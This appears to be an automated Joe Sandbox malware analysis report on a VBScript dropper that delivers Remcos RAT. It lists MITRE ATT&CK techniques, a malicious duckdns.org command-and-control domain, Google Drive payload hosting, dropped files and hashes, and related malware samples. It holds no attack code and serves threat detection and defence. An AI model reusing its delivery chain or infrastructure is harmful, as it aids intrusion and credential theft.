Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match

File source: 0000000D.00000002.3219431727.0000000009FA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Detected Remcos RAT

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-7CSH4D

Jump to behavior

Yara detected Remcos RAT

Source: Yara match

File source: 0000000D.00000002.3219431727.0000000009FA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	111 Process Injection	2 Obfuscated Files or Information	LSASS Memory	113 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	21 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	111 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AF85714759_htm#U00b7pdf.vbs	3%	ReversingLabs	Win32.Dropper.Generic
AF85714759_htm#U00b7pdf.vbs	6%	Virustotal		Browse

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://drive.usercontent.googh	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://drive.usercontent.google.com	0%	Avira URL Cloud	safe
https://drive.goog	0%	Avira URL Cloud	safe
https://drive.google.com/u	0%	Avira URL Cloud	safe
http://microsoft.co	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
https://drive.google.com/uc?ex	0%	Avira URL Cloud	safe
https://drive.googP	0%	Avira URL Cloud	safe
http://drive.google.com	0%	Avira URL Cloud	safe
a458386d9.duckdns.org	0%	Avira URL Cloud	safe
http://crl.micros5	0%	Avira URL Cloud	safe
https://drive.go	0%	Avira URL Cloud	safe
http://www.microsoft.coA	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://drive.google.	0%	Avira URL Cloud	safe
https://drive.goo	0%	Avira URL Cloud	safe
https://drive.google.com/uc	0%	Avira URL Cloud	safe
http://crl.m	0%	Avira URL Cloud	safe
https://drive.g	0%	Avira URL Cloud	safe
https://drive.google.com/	0%	Avira URL Cloud	safe
https://drive.googl	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com	0%	Avira URL Cloud	safe
https://drive.google.c	0%	Avira URL Cloud	safe
https://drive.google.com/uc?	0%	Avira URL Cloud	safe
https://drive.google.com/uc?e	0%	Avira URL Cloud	safe
https://drive.google.com	0%	Avira URL Cloud	safe
https://drive.google	0%	Avira URL Cloud	safe
https://drive.google.co	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.186.110	true	false		unknown
drive.usercontent.google.com	142.250.184.225	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
a458386d9.duckdns.org	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.3577666635.00000197D36A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3194915385.000000000615A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://drive.usercontent.google.com	powershell.exe, 00000008.00000002.3436565741.00000197C5452000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.goog	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.3192439698.0000000005116000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.3192439698.0000000005116000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/uc?ex	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://microsoft.co	powershell.exe, 00000008.00000002.3601488920.00000197DBC88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/u	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000008.00000002.3436565741.00000197C48C5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.co	powershell.exe, 00000008.00000002.3601488920.00000197DBC88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.googP	powershell.exe, 00000008.00000002.3436565741.00000197C5415000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.googh	powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://drive.google.com	powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micros5	powershell.exe, 00000008.00000002.3601488920.00000197DBC88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.go	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.3192439698.0000000005116000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.coA	powershell.exe, 00000008.00000002.3596275506.00000197DBA57000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.goo	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	powershell.exe, 00000008.00000002.3436565741.00000197C3B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.m	powershell.exe, 0000000B.00000002.3200646537.0000000007A23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.g	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/uc	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 0000000B.00000002.3192439698.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.googl	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/uc?e	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.3577666635.00000197D36A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3194915385.000000000615A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3194915385.000000000601E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com	powershell.exe, 00000008.00000002.3436565741.00000197C4EF7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C3865000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com	powershell.exe, 00000008.00000002.3436565741.00000197C3B07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.c	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000008.00000002.3436565741.00000197C3641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	powershell.exe, 00000008.00000002.3436565741.00000197C3B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C5419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3436565741.00000197C543F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/uc?	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.3436565741.00000197C3641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3192439698.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.co	powershell.exe, 00000008.00000002.3436565741.00000197C4AAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.184.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
142.250.186.110	drive.google.com	United States	15169	GOOGLEUS	false
142.250.186.33	unknown	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466654
Start date and time:	2024-07-03 08:47:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AF85714759_htm#U00b7pdf.vbs renamed because original name is a hash value
Original Sample Name:	AF85714759_htmpdf.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@14/8@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 75% Number of executed functions: 70 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 4416 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7148 because it is empty
Execution Graph export aborted for target wab.exe, PID 2192 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:48:02	API Interceptor	1x Sleep call for process: wscript.exe modified
02:49:03	API Interceptor	37931x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	B24E33 ENQUIRY.vbe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	142.250.184.225 142.250.186.110
	Purchase Order N#U00b0 20240702.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.184.225 142.250.186.110
	AWB 3609 961.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	142.250.184.225 142.250.186.110
	MT_0615_60931PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	142.250.184.225 142.250.186.110
	Doc230906103882.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	142.250.184.225 142.250.186.110
	birectangular.vbs	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.225 142.250.186.110
	AWB#276097479258.pdf.html	Get hash	malicious	Unknown	Browse	142.250.184.225 142.250.186.110
	payment.exe	Get hash	malicious	Snake Keylogger	Browse	142.250.184.225 142.250.186.110
	Doc_CI_PL_HBL_COO_Insu_.exe	Get hash	malicious	AgentTesla	Browse	142.250.184.225 142.250.186.110
	roger.exe	Get hash	malicious	AgentTesla	Browse	142.250.184.225 142.250.186.110
37f463bf4616ecd445d4a1937da06e19	Purchase Order N#U00b0 20240702.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.186.110 142.250.186.33
	birectangular.vbs	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.110 142.250.186.33
	SecuriteInfo.com.Adware.DownwareNET.4.16171.10714.exe	Get hash	malicious	Unknown	Browse	142.250.186.110 142.250.186.33
	SecuriteInfo.com.Adware.DownwareNET.4.16171.10714.exe	Get hash	malicious	Unknown	Browse	142.250.186.110 142.250.186.33
	file.exe	Get hash	malicious	Vidar	Browse	142.250.186.110 142.250.186.33
	FmQx1Fw3VA.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.110 142.250.186.33
	config.lnk.mal.lnk	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.110 142.250.186.33
	invoicepast.pdf.lnk.mal.lnk	Get hash	malicious	ScreenConnect Tool	Browse	142.250.186.110 142.250.186.33
	Invoice-UPS-218931.pdf.lnk.mal.lnk	Get hash	malicious	Unknown	Browse	142.250.186.110 142.250.186.33
	IF10339.pdf.lnk.mal.lnk	Get hash	malicious	Unknown	Browse	142.250.186.110 142.250.186.33

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.144086598890895
Encrypted:	false
SSDEEP:	6:kKDpwi9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:7pwdDnLNkPlE99SNxAhUe/3
MD5:	0A0D71D2B365E6CE071E8A2BA215249F
SHA1:	3DD295CB8CBCCDD6F601250B7AEE41DAFE670248
SHA-256:	4A0ED5F1DDF2B57688FDA67D6F1DDB30D73C06FD578BD304224FC043F4C05BE8
SHA-512:	0E9EAF85740DBB88326867B961F02517A9BDE12F2D4F79D21581DD7D6B03FC2E0EC4C58136BD362FC39939BF2DB9EE75EECFB3EBF00E620ECADAF7F1EA4F5546
Malicious:	false
Reputation:	low
Preview:	p...... ........q.......(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9R:9rib4Z1VoGIpN6KQkj2qkjh4iUxsT6YP
MD5:	DD89E182EEC1B964E2EEFE5F8889DCD7
SHA1:	326A3754A1334C32056811411E0C5C96F8BFBBEE
SHA-256:	383ABA2B62EA69A1AA28F0522BCFB0A19F82B15FCC047105B952950FF8B52C63
SHA-512:	B9AFE64D8558860B0CB8BC0FA676008E74F983C4845895E5444DD776A42B584ECE0BB1612D8F97EE631B064F08CF5B2C7622D58A3EF8EF89D199F2ACAEFA8B52
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_442wxg2x.rgl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqmq5coj.o0u.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nixuewvc.mtj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ortgq2c4.ccg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Folkeslaget.Opi

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	454728
Entropy (8bit):	5.933435144069336
Encrypted:	false
SSDEEP:	12288:TMdnynT+xM44kjh/2xZkgdBejyRcN7Lm2xdg:TgnynTTo8xOymo/
MD5:	B06FCFC1108294ADA3566754F2E1F1D2
SHA1:	719D01F9035F34A46729BE394A5F7943A33EFBBB
SHA-256:	605A5F0D657F1D558A218E91BBEE8E0CE580B226AF212EA2E749222F210C0741
